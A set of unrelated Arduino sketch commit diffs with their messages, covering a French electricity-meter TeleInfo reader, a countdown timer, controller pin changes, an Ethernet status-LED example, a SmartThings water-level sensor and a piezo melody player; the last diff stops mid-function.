Version 0.3

Version 0.3

--- teleInfo.ino
+++ teleInfo.ino
@@ -1,3 +1,11 @@
+// uncomment to enable debuging using serial port @115200bps
+//#define DEBUG_ENABLED
+
+// durée entre 2 rafraichissements des données - en mili-secondes (bien laisser UL la fin)
+// j'ai un probleme, il met 3 fois plus de temps que ce que j'indique!
+// testé sur un arduino pro mini 3.3v/8mhz - est-ce lié????
+#define SLEEP_TIME 20000UL
+
 // mysensors
 #include <SPI.h>
 #include <MySensor.h>
@@ -7,16 +15,11 @@
 #define TI_RX 4
 #define TI_TX 5

-// uncomment to enable debuging
-//#define DEBUG_ENABLED
-
-#define VERSION "0.2"
-
-// longueur max des données qu'on recoit
+// version du sketch
+#define VERSION "0.3"
+
+// longueur max des données qu'on reçoit
 #define BUFSIZE 15
-
-// durée entre 2 rafraichissements des données
-#define SLEEP_TIME (60 * 1000)

 MySensor gw;

@@ -49,27 +52,27 @@
 MyMessage msgIMAX( CHILD_ID_IMAX, V_CURRENT );

 #define CHILD_ID_PAPP 7
-MyMessage msgPAPP( CHILD_ID_PAPP, V_WATT );
+MyMessage msgPAPP( CHILD_ID_PAPP, V_WATT ); // pas vrai c'est des VA!

 // infos tarif BASE
 ///////////////////////////////////
 #define CHILD_ID_BASE 10
-MyMessage msgBASE( CHILD_ID_BASE, V_KWH );
+MyMessage msgBASE( CHILD_ID_BASE, V_KWH ); // en fait c'est des WH

 // infos tarif HC/HP
 ///////////////////////////////////
 #define CHILD_ID_HC_HC 20
-MyMessage msgHC_HC( CHILD_ID_HC_HC, V_KWH );
+MyMessage msgHC_HC( CHILD_ID_HC_HC, V_KWH ); // en fait c'est des WH

 #define CHILD_ID_HC_HP 21
-MyMessage msgHC_HP( CHILD_ID_HC_HP, V_KWH) ;
+MyMessage msgHC_HP( CHILD_ID_HC_HP, V_KWH) ; // en fait c'est des WH

 // infos EJP
 #define CHILD_ID_EJP_HN 30
-MyMessage msgEJP_HN( CHILD_ID_EJP_HN, V_KWH );
+MyMessage msgEJP_HN( CHILD_ID_EJP_HN, V_KWH ); // en fait c'est des WH

 #define CHILD_ID_EJP_HPM 31
-MyMessage msgEJP_HPM( CHILD_ID_EJP_HPM, V_KWH );
+MyMessage msgEJP_HPM( CHILD_ID_EJP_HPM, V_KWH ); // en fait c'est des WH

 #define CHILD_ID_PEJP 32
 MyMessage msgPEJP( CHILD_ID_PEJP, V_KWH ); // ya pas de type pour des durées...
@@ -77,25 +80,25 @@
 // infos tarif BBR (tempo)
 ///////////////////////////////////
 #define CHILD_ID_BBR_HC_JB 40
-MyMessage msgBBR_HC_JB( CHILD_ID_BBR_HC_JB, V_KWH );
+MyMessage msgBBR_HC_JB( CHILD_ID_BBR_HC_JB, V_KWH ); // en fait c'est des WH

 #define CHILD_ID_BBR_HP_JB 41
-MyMessage msgBBR_HP_JB( CHILD_ID_BBR_HP_JB, V_KWH );
+MyMessage msgBBR_HP_JB( CHILD_ID_BBR_HP_JB, V_KWH ); // en fait c'est des WH

 #define CHILD_ID_BBR_HC_JW 42
-MyMessage msgBBR_HC_JW( CHILD_ID_BBR_HC_JW, V_KWH );
+MyMessage msgBBR_HC_JW( CHILD_ID_BBR_HC_JW, V_KWH ); // en fait c'est des WH

 #define CHILD_ID_BBR_HP_JW 43
-MyMessage msgBBR_HP_JW( CHILD_ID_BBR_HP_JW, V_KWH );
+MyMessage msgBBR_HP_JW( CHILD_ID_BBR_HP_JW, V_KWH ); // en fait c'est des WH

 #define CHILD_ID_BBR_HC_JR 44
-MyMessage msgBBR_HC_JR( CHILD_ID_BBR_HC_JR, V_KWH );
+MyMessage msgBBR_HC_JR( CHILD_ID_BBR_HC_JR, V_KWH ); // en fait c'est des WH

 #define CHILD_ID_BBR_HP_JR 45
-MyMessage msgBBR_HP_JR( CHILD_ID_BBR_HP_JR, V_KWH );
+MyMessage msgBBR_HP_JR( CHILD_ID_BBR_HP_JR, V_KWH ); // en fait c'est des WH

 #define CHILD_ID_DEMAIN 46
-MyMessage msgDEMAIN( CHILD_ID_DEMAIN, V_KWH );
+MyMessage msgDEMAIN( CHILD_ID_DEMAIN, V_KWH ); // en fait c'est des WH

 // sert à EJP/BBR
 ///////////////////////////////////
@@ -103,13 +106,9 @@
 MyMessage msgHHPHC( CHILD_ID_HHPHC, V_VAR4 );

 // connexion série avec le compteur EDF
-SoftwareSerial tiSerial( TI_RX, TI_RX );
+SoftwareSerial tiSerial( TI_RX, TI_TX ); // dans les faits, le TX ne sert pas

 void setup() {
-	// // reduce clock speed (reduce power consumption)
-	// CLKPR = (1<<CLKPCE);
-	// CLKPR = B00000011; // should put the clock at 1Mhz
-
 #ifdef DEBUG_ENABLED
 	Serial.begin( 115200 );
 #endif
@@ -151,33 +150,27 @@
 typedef struct TeleInfo TeleInfo;
 struct TeleInfo {
 	// DOC ERDF - http://www.magdiblog.fr/wp-content/uploads/2014/09/ERDF-NOI-CPT_02E.pdf
-
-	char ADCO[12]; //Identifiant du compteur - m'en fous
-	char OPTARIF[4]; //Option tarifaire (type d’abonnement) - m'en fous
-	//     juste pour memoire, les values
-	//     BASE : option base
-	//     HC.. : option heure creuse
-	//     EJP. : option EJP
-	//     BBRx : option tempo, x est un char qui indique kkchose (relooooooou les mecs)
+	char ADCO[BUFSIZE]; //Identifiant du compteur - m'en fous
+	char OPTARIF[BUFSIZE]; //Option tarifaire (type d’abonnement) - m'en fous
+	// juste pour memoire, les values
+	// BASE : option base
+	// HC.. : option heure creuse
+	// EJP. : option EJP
+	// BBRx : option tempo, x est un char qui indique kkchose (relooooooou les mecs)
 	uint8_t ISOUSC; // : Intensité souscrite 2chars en Ampères - m'en fous
-	//uint32_t BASE; // Index si option = base (en Wh) - le probleme est qu'il semble qu'on recoive un *10000
-
+	uint32_t BASE; // Index si option = base (en Wh)
 	uint32_t HC_HC; // Index heures creuses si option = heures creuses (en Wh)
 	uint32_t HC_HP; // Index heures pleines si option = heures creuses (en Wh)
-
 	uint32_t EJP_HN; // Index heures normales si option = EJP (en Wh)
 	uint32_t EJP_HPM; // Index heures de pointe mobile si option = EJP (en Wh)
-
 	uint32_t BBR_HC_JB; // Index heures creuses jours bleus si option = tempo (en Wh)
 	uint32_t BBR_HP_JB; // Index heures pleines jours bleus si option = tempo (en Wh)
 	uint32_t BBR_HC_JW; // Index heures creuses jours blancs si option = tempo (en Wh)
 	uint32_t BBR_HP_JW; // Index heures pleines jours blancs si option = tempo (en Wh)
-	uint32_t BBR_HC_JR; // Index heures creuses jours rouges si option = tempo  (en Wh)
+	uint32_t BBR_HC_JR; // Index heures creuses jours rouges si option = tempo (en Wh)
 	uint32_t BBR_HP_JR; // Index heures pleines jours rouges si option = tempo (en Wh)
-
-	uint8_t  PEJP; // : Préavis EJP si option = EJP 30mn avant période EJP, en minutes
-
-	char PTEC[4]; // Période tarifaire en cours
+	uint8_t PEJP; // : Préavis EJP si option = EJP 30mn avant période EJP, en minutes
+	char PTEC[BUFSIZE]; // Période tarifaire en cours
 	// les valeurs de PTEC :
 	// - TH.. => Toutes les Heures.
 	// - HC.. => Heures Creuses.
@@ -190,19 +183,16 @@
 	// - HPJB => Heures Pleines Jours Bleus.
 	// - HPJW => Heures Pleines Jours Blancs (White).
 	// - HPJR => Heures Pleines Jours Rouges
-
-	char DEMAIN[4]; // Couleur du lendemain si option = tempo
+	char DEMAIN[BUFSIZE]; // Couleur du lendemain si option = tempo
 	// valeurs de DEMAIN
 	// - ---- : couleur du lendemain non connue
 	// - BLEU : le lendemain est jour BLEU.
 	// - BLAN : le lendemain est jour BLANC.
 	// - ROUG : le lendemain est jour ROUGE.
-
 	uint8_t IINST; // Intensité instantanée (en ampères)
-	uint8_t ADPS;  // Avertissement de dépassement de puissance souscrite (en ampères)
-	uint8_t IMAX;  // Intensité maximale (en ampères)
+	uint8_t ADPS; // Avertissement de dépassement de puissance souscrite (en ampères)
+	uint8_t IMAX; // Intensité maximale (en ampères)
 	uint32_t PAPP; // Puissance apparente (en Volt.ampères)
-
 	char HHPHC; // Groupe horaire si option = heures creuses ou tempo
 	// je comprend pas ce que veulent dire les valeurs de ce truc ... :
 	// L'horaire heures pleines/heures creuses (Groupe "HHPHC")
@@ -222,7 +212,7 @@
 	if ( strcmp( label, searchLabel ) != 0 )
 		return false;

-	tmp = atoi( value );
+	tmp = atol( value );
 	if ( last == tmp )
 		return true;

@@ -270,11 +260,11 @@
 		return true;

 #ifdef DEBUG_ENABLED
-  Serial.print( label );
-  Serial.print( F(" changed from ") );
-  Serial.print( last );
-  Serial.print( F(" to ") );
-  Serial.println( value );
+	Serial.print( label );
+	Serial.print( F(" changed from ") );
+	Serial.print( last );
+	Serial.print( F(" to ") );
+	Serial.println( value );
 #endif

 	last = value;
@@ -290,14 +280,16 @@
 		return true;

 #ifdef DEBUG_ENABLED
-  Serial.print( label );
-  Serial.print( F(" changed from ") );
-  Serial.print( last );
-  Serial.print( F(" to ") );
-  Serial.println( value );
-#endif
-
-	strcpy(last, value);
+	Serial.print( label );
+	Serial.print( F(" changed from ") );
+	Serial.print( last );
+	Serial.print( F(" to ") );
+	Serial.println( value );
+#endif
+
+	memset( last, 0, BUFSIZE ); // sembleraie que strcpy ne fasse pas bien son boulot...
+	strcpy( last, value );
+
 	gw.send( msg.set( last ) );

 	return true;
@@ -306,9 +298,32 @@
 void getTI() {
 	static TeleInfo last; // dernière lecture
 	char c; // le char qu'on read
+	byte nb = 0;
+
+	// enable this softSerial to listening - only if more than one softSerial is in use
+	tiSerial.listen();
+
+	// clear the softSerial buffer
+	// pas sur que ca serve vraiement en fait...
+	if ( tiSerial.overflow() ) {
+#ifdef DEBUG_ENABLED
+		Serial.println( F( "Serial overflow, flushing datas" ) );
+#endif
+		// j'ai des doutes, comme le compteur bombarde en permanence, on terminera jamais cette boucle...
+		while ( Serial.available() ) {
+  			c = tiSerial.read();
+#ifdef DEBUG_ENABLED
+		Serial.print( c );
+#endif
+		}
+#ifdef DEBUG_ENABLED
+		Serial.println( F( "Serial overflow end" ) );
+#endif
+	}

 	// tout d'abord on cherche une fin de ligne
 	while ( readTI() != '\n' );
+
 	// maintenant on cherche le label MOTDETAT (cad fin de trame)
 	// TIP: c'est le seul qui commence par un M!
 	bool sol = true; // start of line
@@ -318,11 +333,11 @@
 			break;
 		sol = ( c == '\n' ); // fin de ligne trouvée, le prochain char sera en debut de ligne donc!
 	}
-	// eat the line
+
+	readline:
+
+	// Cherche une fin de ligne pour etre sur de bien commencer au début d'une ligne ensuite
 	while ( readTI() != '\n' );
-
-	// ca y est, on peu bosser!
-	readLine:

 	uint8_t i; // un compteur
 	uint8_t myCS = 32, cs; // le checksum
@@ -330,7 +345,7 @@
 	// commencer par detecter le label (search for ' ')
 	i = 0;
 	char label[ BUFSIZE ]; // etiquette
-	memset( label, 0, BUFSIZE );
+	memset( label, '\0', BUFSIZE );
 	while ( true ) {
 		c = readTI();
 		myCS += (int)c;
@@ -342,10 +357,20 @@
 			break;
 	}

+	// rapidement on regarde si c'etait la fin de trame et on skip la suite dans ce cas
+	// the end ?
+	if ( strcmp( label, "MOTDETAT" ) == 0 ) { // on verifie pas le checksum de cette ligne
+#ifdef DEBUG_ENABLED
+		Serial.println( F( "------------------------" ) );
+		Serial.println( F( "GOT MOTDETAT -  bye " ) );
+#endif
+		return; // fin de trame
+	}
+
 	// la value (search for ' ')
 	i = 0;
-	char value[ BUFSIZE ];  // la value la plus longue ligne est ADCO / 15
-	memset( value, 0, BUFSIZE );
+	char value[ BUFSIZE ];  // la value la plus longue ligne est ADCO / ~15
+	memset( value, '\0', BUFSIZE );
 	while ( true ) {
 		c = readTI();
 		myCS += (int)c;
@@ -360,10 +385,8 @@
 	// le checksum
 	cs = readTI();

-	// drop end of line char
-	readTI(); readTI(); // \r\n
-
-#ifdef DEBUG_ENABLED
+#ifdef DEBUG_ENABLED
+		Serial.println( F( "------------------------" ) );
 		Serial.print( F("GOT LABEL=") );
 		Serial.print( label );
 		Serial.print( F(" VALUE=") );
@@ -372,11 +395,6 @@
 		Serial.println( cs, HEX );
 #endif

-	// now on regarde ce que cette ligne voulait bien nous dire
-	// the end ?
-	if ( strcmp( label, "MOTDETAT" ) == 0 ) // on verifie pas le checksum de cette ligne
-		return;
-
 	// check le checksum
 	myCS = (myCS & 0x3F) + 0x20;
 	if ( myCS != cs ) { // si c'est pas bon... ben c'est con!
@@ -386,38 +404,40 @@
 		Serial.print( F(" CHECKSUM=") );
 		Serial.println( cs, HEX );
 #endif
-		goto readLine;
-	}
-
-	if ( strTI( label, "ADCO", value, last.ADCO, msgADCO ) )			goto readLine;
-	if ( strTI( label, "OPTARIF", value, last.OPTARIF, msgOPTARIF ) )	goto readLine;
-	if ( atoiTI( label, "ISOUSC", value, last.ISOUSC, msgISOUSC ) )		goto readLine;
-	//if ( atolTI( label, "BASE", value, last.BASE, msgBASE ) )			goto readLine;
-
-	if ( atolTI( label, "HCHC", value, last.HC_HC, msgHC_HC ) )			goto readLine;
-	if ( atolTI( label, "HCHP", value, last.HC_HP, msgHC_HP ) )			goto readLine;
-
-	if ( atolTI( label, "EJPHN", value, last.EJP_HN, msgEJP_HN ) )		goto readLine;
-	if ( atolTI( label, "EJPHPM", value, last.EJP_HPM, msgEJP_HPM ) )	goto readLine;
-
-	if ( atolTI( label, "BBRHCJB", value, last.BBR_HC_JB, msgBBR_HC_JB ) ) goto readLine;
-	if ( atolTI( label, "BBRHPJB", value, last.BBR_HP_JB, msgBBR_HP_JB ) ) goto readLine;
-	if ( atolTI( label, "BBRHCJW", value, last.BBR_HC_JW, msgBBR_HC_JW ) ) goto readLine;
-	if ( atolTI( label, "BBRHPJW", value, last.BBR_HP_JW, msgBBR_HP_JW ) ) goto readLine;
-	if ( atolTI( label, "BBRHCJR", value, last.BBR_HC_JR, msgBBR_HC_JR ) ) goto readLine;
-	if ( atolTI( label, "BBRHPJR", value, last.BBR_HP_JR, msgBBR_HP_JR ) ) goto readLine;
-
-	if ( atoiTI( label, "PEJP", value, last.PEJP, msgPEJP ) )			goto readLine;
-	if ( strTI( label, "PTEC", value, last.PTEC, msgPTEC ) )			goto readLine;
-
-	if ( strTI( label, "DEMAIN", value, last.DEMAIN, msgDEMAIN ) )		goto readLine;
-
-	if ( atoiTI( label, "IINST", value, last.IINST, msgIINST ) )		goto readLine;
-	if ( atoiTI( label, "ADPS", value, last.ADPS, msgADPS ) )			goto readLine;
-	if ( atoiTI( label, "IMAX", value, last.IMAX, msgIMAX ) )			goto readLine;
-	if ( atolTI( label, "PAPP", value, last.PAPP, msgPAPP ) )			goto readLine;
-
-	if ( charTI( label, "HHPHC", value[0], last.HHPHC, msgHHPHC ) )		goto readLine;
+
+		goto readline;
+	}
+
+	// gestion mySensor, on va caster en fonction du bon type et ensuite vérifier si la value à changée et envoyer le message à la gateway si c'est le cas
+	if ( strTI( label, "ADCO", value, last.ADCO, msgADCO ) )			goto readline;
+	if ( strTI( label, "OPTARIF", value, last.OPTARIF, msgOPTARIF ) )	goto readline;
+	if ( atoiTI( label, "ISOUSC", value, last.ISOUSC, msgISOUSC ) )		goto readline;
+	if ( atolTI( label, "BASE", value, last.BASE, msgBASE ) )			goto readline;
+
+	if ( atolTI( label, "HCHC", value, last.HC_HC, msgHC_HC ) )			goto readline;
+	if ( atolTI( label, "HCHP", value, last.HC_HP, msgHC_HP ) )			goto readline;
+
+	if ( atolTI( label, "EJPHN", value, last.EJP_HN, msgEJP_HN ) )		goto readline;
+	if ( atolTI( label, "EJPHPM", value, last.EJP_HPM, msgEJP_HPM ) )	goto readline;
+
+	if ( atolTI( label, "BBRHCJB", value, last.BBR_HC_JB, msgBBR_HC_JB ) ) goto readline;
+	if ( atolTI( label, "BBRHPJB", value, last.BBR_HP_JB, msgBBR_HP_JB ) ) goto readline;
+	if ( atolTI( label, "BBRHCJW", value, last.BBR_HC_JW, msgBBR_HC_JW ) ) goto readline;
+	if ( atolTI( label, "BBRHPJW", value, last.BBR_HP_JW, msgBBR_HP_JW ) ) goto readline;
+	if ( atolTI( label, "BBRHCJR", value, last.BBR_HC_JR, msgBBR_HC_JR ) ) goto readline;
+	if ( atolTI( label, "BBRHPJR", value, last.BBR_HP_JR, msgBBR_HP_JR ) ) goto readline;
+
+	if ( atoiTI( label, "PEJP", value, last.PEJP, msgPEJP ) )			goto readline;
+	if ( strTI( label, "PTEC", value, last.PTEC, msgPTEC ) )			goto readline;
+
+	if ( strTI( label, "DEMAIN", value, last.DEMAIN, msgDEMAIN ) )		goto readline;
+
+	if ( atoiTI( label, "IINST", value, last.IINST, msgIINST ) )		goto readline;
+	if ( atoiTI( label, "ADPS", value, last.ADPS, msgADPS ) )			goto readline;
+	if ( atoiTI( label, "IMAX", value, last.IMAX, msgIMAX ) )			goto readline;
+	if ( atolTI( label, "PAPP", value, last.PAPP, msgPAPP ) )			goto readline;
+
+	if ( charTI( label, "HHPHC", value[0], last.HHPHC, msgHHPHC ) )		goto readline;

 #ifdef DEBUG_ENABLED
 	Serial.print( F( "unkown LABEL=" ) );
@@ -427,12 +447,12 @@
 #endif

 	// pour les cas non gérés
-	goto readLine;
+	goto readline;
 }

 void loop() {
 	getTI();

-	// attendre avant prochaine lecture
-	gw.sleep( SLEEP_TIME );
+	delay( SLEEP_TIME );
+	//gw.sleep( SLEEP_TIME );
 }


Change code to count down instead of up

Change code to count down instead of up

--- timer/timer.ino
+++ timer/timer.ino
@@ -6,23 +6,27 @@
 Display display;
 Buttons buttons;

-unsigned long start_time = 0;
+unsigned long countdown_ends;
+unsigned long countdown_duration;

 void setup() {
   Serial.begin(9600);
   pinMode(13, OUTPUT);
-  start_time = millis();
+  countdown_ends = 0;
+  countdown_duration = 900000; // 15 mins in ms
+  countdown_ends = millis() + countdown_duration;
 }

 void loop() {

-  unsigned long current_time = millis() - start_time;
-  display.displayTime( current_time / 1000 );
+  long time_remaining = countdown_ends - millis();
+  Serial.println(countdown_duration);
+  display.displayTime( time_remaining / 1000 );

   int button = buttons.get_button_press();
   if ( button == BUTTON_RESTART ) {
     // reset the start time
-    start_time = millis();
+    countdown_ends = millis() + countdown_duration + 500;
   }

 }


Swapped pins for LEFT and DOWN for better routing.

--- land-shark-controller/software/cap_sense_shark_controller.ino
+++ land-shark-controller/software/cap_sense_shark_controller.ino
@@ -1,7 +1,7 @@
 #define pinUp    15
-#define pinLeft  18
+#define pinLeft  17
 #define pinRight 16
-#define pinDown  17
+#define pinDown  18
 #define pinBite  19
 #define pinDance 22


Update I2cController.ino

Update I2cController.ino

--- portable/sketchbook/I2cController/I2cController.ino
+++ portable/sketchbook/I2cController/I2cController.ino
@@ -116,11 +116,7 @@
 	contr.setupEncoder(EN_A,EN_B,EN_C); // Encoder setup
 //	contr.setIntBtn(BTN_1);                 // Single button setup
 	//contr.setupInterruptPin(BTN_1, FALLING); //Use this if you want receive continuos interrupt on button pressed. Useful ??
-//	contr.setIntBtn(BTN_2);                 // Single button setup
-//	contr.setIntBtn(BTN_3);                 // Single button setup
-//	contr.setIntBtn(BTN_4);                 // Single button setup
-//	contr.setIntBtn(BTN_5);                 // Single button setup
-        uint8_t btnCross[BTN_NUM] = { BTN_1, BTN_2, BTN_3, BTN_4, BTN_5};
+        uint8_t btnCross[BTN_NUM] = { BTN_1, BTN_2, BTN_3, BTN_4, BTN_5}; // Five button on cross disposition, setup function
         contr.setIntCross(btnCross, BTN_NUM);
 	attachInterrupt(arduinoInterrupt, intCallBack, FALLING);


Update Adafruit Feather BLE example [ci skip]

--- examples/Boards_BLE/Adafruit_Feather_32u4_BLE/Adafruit_Feather_32u4_BLE.ino
+++ examples/Boards_BLE/Adafruit_Feather_32u4_BLE/Adafruit_Feather_32u4_BLE.ino
@@ -17,8 +17,9 @@
  * This example shows how to use Adafruit Feather 32u4 BLE
  * to connect your project to Blynk.
  *
- * For this example you need BLEPeripheral library from http://librarymanager
- *   or https://github.com/sandeepmistry/arduino-BLEPeripheral
+ * For this example you need Adafruit BluefruitLE nRF51 library
+ *   from http://librarymanager
+ *   or https://github.com/adafruit/Adafruit_BluefruitLE_nRF51
  *
  * NOTE: BLE support is in beta!
  *


Made a much simpler example of connecting to a server and showing progress via the multiColored LED...uses phil's library

--- arduino/arduinoMultiColorLights/arduinoMultiColorLights.ino
+++ arduino/arduinoMultiColorLights/arduinoMultiColorLights.ino
@@ -1,3 +1,5 @@
+#include <MultiLight.h>
+

 #include <SPI.h>
 #include <Ethernet.h>
@@ -5,87 +7,61 @@
 #include <PusherClient.h>

 IPAddress server(50,57,138,30); // ARIS Server
-String socket_id = "socket_id";
 byte mac[] = { 0x90, 0xA2, 0xDA, 0x00, 0x49, 0xDE };
-byte ip[] = { 192,168,2,7 };
-byte gateway[] = { 192,168,2,1 };
+byte ip[] = { 192, 168, 2, 2 };
+byte gateway[] = { 192, 168, 2, 1 };
 byte subnet[] = { 255, 255, 255, 0 };

-int inputPin = 3;
-int ledPin = 2;
+MultiLight multiLight = MultiLight();

-const int RED_LED_PIN = 9;
-const int GREEN_LED_PIN = 10;
-const int BLUE_LED_PIN = 11;
-
-int redIntensity = 0;
-int greenIntensity = 0;
-int blueIntensity = 0;
-
-const int DISPLAY_TIME = 100; //millis
 EthernetClient arisClient;
-PusherClient client;

 void setup() {
-  pinMode(inputPin, INPUT);
-    pinMode(ledPin, OUTPUT);
-Serial.begin(9600);
-
+
+  Serial.begin(9600);
+
+  multiLight.setPins(5,6,7);  //Set up pins

   ethernetConnecting();
-
-    delay(3000);
-
-  ethernetSucceeded();

-      delay(3000);
-
-      ethernetFailed();
-
-
+  Ethernet.begin(mac,ip);
+
+  delay(1000); //Give time to initialize before connecting
+
+  if(arisClient.connect(server,80)){
+     ethernetSucceeded();
+    }
+  else{
+     ethernetFailed();
+    }

 }

 void loop() {
-
- if(digitalRead(inputPin) == HIGH){
-  digitalWrite(ledPin, LOW);
- }
- else{
-   digitalWrite(ledPin, HIGH);
-  // client.triggerEvent("aris","client-test", "{\"name\": \"Joe\", \"message_count\": 23}");
-   Serial.println("Button Pressed");
- }

 }
+
 void ethernetConnecting(){
   Serial.println("Ethernet Connecting");

-
-    analogWrite(GREEN_LED_PIN, 18);
-    analogWrite(BLUE_LED_PIN, 0);
-    analogWrite(RED_LED_PIN, 40);
-
+  multiLight.setColor(multiLight.COLOR_YELLOW);

 }
+
 void ethernetFailed(){
   Serial.println("Ethernet Failed");

-
-    analogWrite(GREEN_LED_PIN, 0);
-    analogWrite(BLUE_LED_PIN, 0);
-    analogWrite(RED_LED_PIN, 20);
+   multiLight.setColor(multiLight.COLOR_RED);
+

 }

 void ethernetSucceeded(){
   Serial.println("Ethernet Succeeded");

-      analogWrite(GREEN_LED_PIN, 20);
-    analogWrite(BLUE_LED_PIN, 0);
-    analogWrite(RED_LED_PIN, 0);
+  multiLight.setColor(multiLight.COLOR_GREEN);
+

-
 }


Smarter ST update strategy and  increase size of averaging filter

--- water-sensor/water-sensor.ino
+++ water-sensor/water-sensor.ino
@@ -5,7 +5,8 @@
 #include "SmartThings.h"

 #define DEBUG_ENABLED      1
-#define DEBUG_RAW_ENABLED  1
+#define DEBUG_RAW_ENABLED  0
+#define SUBMIT_TO_ST       1

 #define PIN_THING_RX       3
 #define PIN_THING_TX       2
@@ -47,27 +48,28 @@
 public:
   int _size;
   int _v[T];
-  int _sorted[T];
+  int _average;

 public:
   Queue()
   {
     _size = 0;
+    _average = 0;

     memset(&_v, 0, sizeof(_v));
   }

-  int size()
+  inline int size()
   {
     return _size;
   }

-  void invalidate()
+  inline void invalidate()
   {
     _size = 0;
   }

-  bool valid()
+  inline bool valid()
   {
     return size() == T;
   }
@@ -89,27 +91,34 @@
         _size = T;
       }
     }
-  }
-
-  int average()
-  {
-    memcpy(&_sorted, &_v, sizeof(_v));
-
-    qsort(&_sorted, T, sizeof(int), compare_int);
-
-    int s = 0;
-
-    for (int i = 2; i < T - 2; ++i)
+
+    update_average();
+  }
+
+  inline int* values()
+  {
+    return _v;
+  }
+
+  void update_average()
+  {
+    float v = 0;
+    for (int i = 0; i < T; ++i)
     {
-      s += _sorted[i];
-    }
-
-    return s / (T - 2 - 2);
+      v += _v[i];
+    }
+
+    _average = (int)(v / T);
+  }
+
+  inline int average()
+  {
+    return _average;
   }
 };

-Queue<12> measurements;
-int lastDistance = 0;
+Queue<40> measurements;
+float lastDistance = 0;

 int lastLedState = 0;
 unsigned long lastCheck = 0;
@@ -146,7 +155,7 @@
 void loop() {
   unsigned long time = millis();

-  if (time - lastCheck > 100) {
+  if (time - lastCheck > 250) {
     lastLedState = !lastLedState;
     digitalWrite(PIN_WORKING_LED, lastLedState ? HIGH : LOW);

@@ -154,31 +163,47 @@

     if (measurements.valid())
     {
-      int cm = round((float)measurements.average() / US_ROUNDTRIP_CM);
-
-#ifdef DEBUG_RAW_ENABLED
+      float cm = (float)measurements.average() / US_ROUNDTRIP_CM;
+
+#if DEBUG_RAW_ENABLED
       Serial.print("Raw: ");
-      Serial.print((float)measurements.average() / US_ROUNDTRIP_CM);
-      Serial.print("  ::  ");
-      for (int i = 0; i < measurements.size(); ++i)
-      {
-        Serial.print(measurements._sorted[i]);
+      Serial.print(cm);
+
+      float diff = lastDistance - cm;
+
+      if (diff >= 0)
+      {
+        Serial.print(" +");
+      }
+      else
+      {
         Serial.print(" ");
       }
+
+      Serial.print(diff);
+
+      Serial.print("  :: Last 10 :: ");
+
+      for (int i = max(0, measurements.size() - 10); i < measurements.size(); ++i)
+      {
+        Serial.print((float)measurements.values()[i] / US_ROUNDTRIP_CM);
+        Serial.print(" ");
+      }
+
       Serial.println("");
 #endif

-      if (abs(lastDistance - cm) > 1) {
+      if (abs(lastDistance - cm) > 0) {
         lastDistance = cm;

-#ifdef DEBUG_ENABLED
+#if DEBUG_ENABLED
         Serial.print("Ping: ");
         Serial.print(cm);
         Serial.println("cm");
 #endif

         if (settings.floorLevel > 0 && settings.safeDepth > 0) {
-          int depth = settings.floorLevel - cm;
+          int depth = settings.floorLevel - (int)cm;

           if (depth <= settings.warnDepth) {
             smartthing.shieldSetLED(0, 4, 0);
@@ -191,10 +216,14 @@
           }
         }

-        snprintf(message, sizeof(message), "level:%d", cm);
+#if SUBMIT_TO_ST
+#if DEBUG_ENABLED
+        Serial.print("Update ST...");
+#endif
+
+        snprintf(message, sizeof(message), "level:%d", (int)cm);
         smartthing.send(message);
-
-        measurements.invalidate();
+#endif
       }
     }

@@ -208,7 +237,7 @@
 void configure(String& message) {
   sscanf(message.c_str() + 5, "%d %d %d", &settings.floorLevel, &settings.safeDepth, &settings.warnDepth);

-#ifdef DEBUG_ENABLED
+#if DEBUG_ENABLED
   Serial.print("Configure floor level ");
   Serial.print(settings.floorLevel);
   Serial.print(" and safe depth ");
@@ -222,7 +251,7 @@

 void messageCallout(String message)
 {
-#ifdef DEBUG_ENABLED
+#if DEBUG_ENABLED
     Serial.print("Received message: '");
     Serial.print(message);
     Serial.println("' ");


[Popcorn] update melody playing algorithm

--- playground/Popcorn/Popcorn.ino
+++ playground/Popcorn/Popcorn.ino
@@ -12,78 +12,45 @@

 #define SIGNAL_PIN 6  // pin that the piezo is connected to

-#define BPM 145       // beats per minute for the playboack
+// melody definition
+// BPM followed by series of note definitions.
+// Note definition as paired values: pitch, duration.
+// Durations indicated as 4 = quarter note, 8 = eighth note, etc
+int melody[] = {
+  // beats per minute
+  145,
+  // note definitions as values: pitch, duration.
+  NOTE_C4,  8,
+  NOTE_AS3, 8,
+  NOTE_C4,  8,
+  NOTE_G3,  8,
+  NOTE_DS3, 8,
+  NOTE_G3,  8,
+  NOTE_C3,  4,
+  NOTE_C4,  8,
+  NOTE_AS3, 8,
+  NOTE_C4,  8,
+  NOTE_G3,  8,
+  NOTE_DS3, 8,
+  NOTE_G3,  8,
+  NOTE_C3,  4,

-// notes in the melody:
-int melody[] = {
-  NOTE_C4,
-  NOTE_AS3,
-  NOTE_C4,
-  NOTE_G3,
-  NOTE_DS3,
-  NOTE_G3,
-  NOTE_C3,
-  NOTE_C4,
-  NOTE_AS3,
-  NOTE_C4,
-  NOTE_G3,
-  NOTE_DS3,
-  NOTE_G3,
-  NOTE_C3,
-
-  NOTE_C4,
-  NOTE_D4,
-  NOTE_DS4,
-  NOTE_D4,
-  NOTE_DS4,
-  NOTE_C4,
-  NOTE_D4,
-  NOTE_C4,
-  NOTE_D4,
-  NOTE_AS3,
-  NOTE_C4,
-  NOTE_AS3,
-  NOTE_C4,
-  NOTE_GS3,
-  NOTE_C4
+  NOTE_C4,  8,
+  NOTE_D4,  8,
+  NOTE_DS4, 8,
+  NOTE_D4,  8,
+  NOTE_DS4, 8,
+  NOTE_C4,  8,
+  NOTE_D4,  8,
+  NOTE_C4,  8,
+  NOTE_D4,  8,
+  NOTE_AS3, 8,
+  NOTE_C4,  8,
+  NOTE_AS3, 8,
+  NOTE_C4,  8,
+  NOTE_GS3, 8,
+  NOTE_C4,  4
 };
-
-// note durations: 4 = quarter note, 8 = eighth note, etc.:
-int noteDurations[] = {
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  4,
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  4,
-
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  8,
-  4
-
-};
-
-const int noteCount = sizeof(melody) / sizeof(int);

 void setup() {
   delay(1000);
@@ -94,12 +61,15 @@
 }

 void playMelody() {
+  int noteCount = sizeof(melody) / sizeof(int) - 1;
+  int bpm = melody[0];
+
   // iterate over the notes of the melody:
-  for (int thisNote = 0; thisNote < noteCount; thisNote++) {
+  for (int noteIndex = 0; noteIndex < noteCount; noteIndex+=2) {

     // calculate the note duration based on BPM
